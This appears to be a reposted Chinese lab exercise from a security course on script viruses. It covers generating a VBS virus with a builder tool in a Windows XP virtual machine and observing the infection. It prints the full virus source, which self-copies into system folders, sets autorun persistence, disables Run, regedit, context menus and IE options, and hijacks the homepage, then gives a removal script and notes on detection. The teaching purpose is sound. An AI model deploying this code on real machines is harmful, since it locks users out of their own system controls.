4.1 脚本病毒编写实验

一、预备知识

1、计算机病毒、蠕虫和木马

2、脚本的攻防

二、实验环境

三、实验步骤

四、任务与思考


一、预备知识

1、计算机病毒、蠕虫和木马

        计算机病毒、蠕虫和木马都属于恶意代码。三者的区分:通过判别是否具有传染性可以将木马与病毒、蠕虫区分开来;通过判别是局限于本机还是透过网络可以将病毒和蠕虫区分开来。

2、脚本的攻防

        脚本(script)通常可以由应用程序临时调用并执行。各类脚本被广泛地应用在Web网页设计中,因为脚本不仅可以减少网页地规模和网页浏览的速度,还可以丰富网页的显示方式(如声音、动画等)。例如,为了方便联系,一些单位喜欢在单位网站的显眼位置链接单位或领导邮箱的地址,当用户单击网页上的邮箱地址时会自动调用本地计算机上的电子邮件客户端软件(如Outlook Express、Foxmail等),这一功能就是通过脚本来实现的。

二、实验环境

        操作系统:windows xp、软件:病毒制造机 v1.0

三、实验步骤

1、制造病毒

        (1)正常登录到实验场景中使用的目标主机,借助病毒制造机生成脚本病毒。安装“病毒制造及”,选择“VBS病毒”,再单击下一步;

        (2)进入如下界面,选择前三个复选框,下一步;

         (3)进入如下“禁止功能选项”界面,选择如下复选框,再“下一步”。例如,选择“禁止邮件菜单”,当运行了该病毒后,右击将无法弹出快捷菜单。

         (4)进入“病毒提示对话框”界面,当选择“设置开机提示对话框”复选框,并设置提示框标题与内容,相关信息将以对话框方式在开机时自动显示;

         (5)”下一步“,进入“病毒传播选项”界面,当选择“通过电子邮件进行自动传播(蠕虫)”复选框时,病毒可以向指定数量的用户发送垃圾邮件;

         (6)”下一步“,进入”IE修改选项“界面;

         注:当选中”设置默认主页“复选框,会弹出“设置主页”对话框,需要输入要修改的IE浏览器主页地址(即每次打开IE浏览器时默认打开的主页地址)。

        (7)“下一步”,进入“开始制造病毒”界面,点击“开始制造”。

         注:在相应路径下,可以看到已经生成了脚本病毒文件。

2、感染病毒并观察感染后的系统文件变化情况

        (1)在虚拟机下双击生成的病毒文件。为保证完整地查看病毒地感染效果,重启虚拟机;

        (2)观察系统文件夹下的异常变化,可以发现:C:\windows\system32下多了不明来源的脚本文件;

        (3)检查各项系统功能,会发现:

  • 右键快捷菜单功能被禁止;
  • “开始”菜单中,“运行”命令被移除,且win+r("运行"快捷键),会报错(图1);
  • 在“C:\windows”下运行regedit.exe会报错(图2);

 图1

 图2

        (4)检查IE浏览器地各项功能,会发现:

  • IE浏览器的主页被恶意篡改;
  • “菜单”——“工具”——“Internet选项”,无法打开Internet选项(图3);
  • IE浏览器的右键快捷菜单功能也被禁用;

 图3

3、脚本病毒代码分析

        用“记事本”打开病毒脚本,查看其代码,并进行语句分析:

1、On Error Resume Next
2、Set fs=CreateObject("Scripting.FileSystemObject")
3、Set dir1=fs.GetSpecialFolder(0)
4、Set dir2=fs.GetSpecialFolder(1)
5、Set so=CreateObject("Scripting.FileSystemObject")
6、dim r
7、Set r=CreateObject("Wscript.Shell")
8、so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
9、so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
10、so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")
11、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
12、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
13、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
14、r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
15、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
16、r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
17、r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
18、r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","www.baidu.com"
  •  第1行语句:启用错误处理程序。也就是如果后面的程序出现“运行时错误”,会继续执行,不中断。
  • 第2行语句:提供对计算机文件系统的访问权限。CreateObject函数可以访问windows系统内安装的所有com对象,并且可以调用这些部件中存放的命令《—com对象是一些具有特定函数功能项的程序模块(就是一个工具包),通常以ocx和dll作为扩展名《—所有Scripting都存放在SCRRUN.DLL文件中,且Scripting中有对象:dictionary、filesystemobject...(也就是一个大的工具包里,有小的工具包),那么这句话的意思就是将filesystemobjec对象t赋值给fs变量。注:Set是Vbs指令,凡是将一对象引用赋给变量,就需要使用set关键字!
  • 第3、4行语句:使用GetSpecialFolder(folderspec)函数(可以理解为python里面的方法),当folderspec=0时,返回值为Windows文件夹(一般为C:\windows或者C:\WINNT);当folderspec=1时,返回值为Sytem文件夹(一般为C:\Windows\system32);当folderspec=2时,返回值为临时文件夹。
  • 第5行:同第2行。
  • 第6行:定义一个名为“r”的变量。
  • 第7行:将Wscript.shell对象赋值给so变量。Wscript.Shell:提供一套读取系统信息的函数,如读写注册表、查找指定文件的路径、读取DOS环境变量,读取链接中的设置等,且所有的Wscript对象都存放在WSHOM.ocx文件中。
  • 第8、9、10行:复制病毒文件到windows文件夹、system32文件夹、启动菜单。GetFile(WScript.ScriptFullName):获取当前运行脚本的完整路径。
  • 第11~15行:通过修改注册表,依次禁止“运行”菜单、禁止使用注册表编辑器、禁止注销菜单、开机自动运行及禁止右键快捷菜单。
  • 第16~18行:通过修改注册表,依次禁止IE浏览器右键菜单、禁止Internet选项、设置默认主页为http://www.baidu.com。

4、清除病毒脚本的编写方法

        打开“记事本”程序,根据病毒脚本内容,内容如下:

1、Set fs=CreateObject("Scripting.FileSystemObject")
2、Set dir1=fs.GetSpecialFolder(0)
3、Set dir2=fs.GetSpecialFolder(1)
4、Set so=CreateObject("Scripting.FileSystemObject")
5、dim r
6、Set r=CreateObject("Wscript.Shell")
7、r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir1&"\Win32system.vbs"
8、r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir2&"\Win32system.vbs"
9、r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir1&"\Start Menu\Programs\启动\Win32system.vbs"
10、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",0,"REG_DWORD"
11、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
12、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",0,"REG_DWORD"
13、r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system",""
14、r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
15、r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",0,"REG_DWORD"
16、r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",0,"REG_DWORD"
17、r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"

        将以上脚本语句保存为.vbs的脚本。在该脚本上双击运行,重启系统,既可完成比病毒的消除工作。

四、任务与思考

        脚本病毒是计算机病毒的一种新形式,主要采用脚本语言编写,包括修改、创建、删除文件,甚至至格式化硬盘。目前网络上存在的脚本病毒绝大部分都用VBScript和JavaScript编写。

        传统的病毒检测方法包括特征代码法、校验和法、行为检测法、软件模拟法等。其中,特征代码法提取病毒的某一小段特征代码进行识别,所以对未知病毒几乎无法预测,另外新增病毒的数量在不断增加的情况下,病毒特征代码的数量也在加大,会影响检测速度;校验和法是对文件做校验和,并将其保存,一旦校验和改变,就视为异常,这种检测方法依赖文件长度和内容,预警过于敏感容易产生误报;行为检测法从理论上将可以检测到所有未知病毒,但是实现复杂、速度较低。

猜你喜欢

转载自blog.csdn.net/qq_55202378/article/details/125990629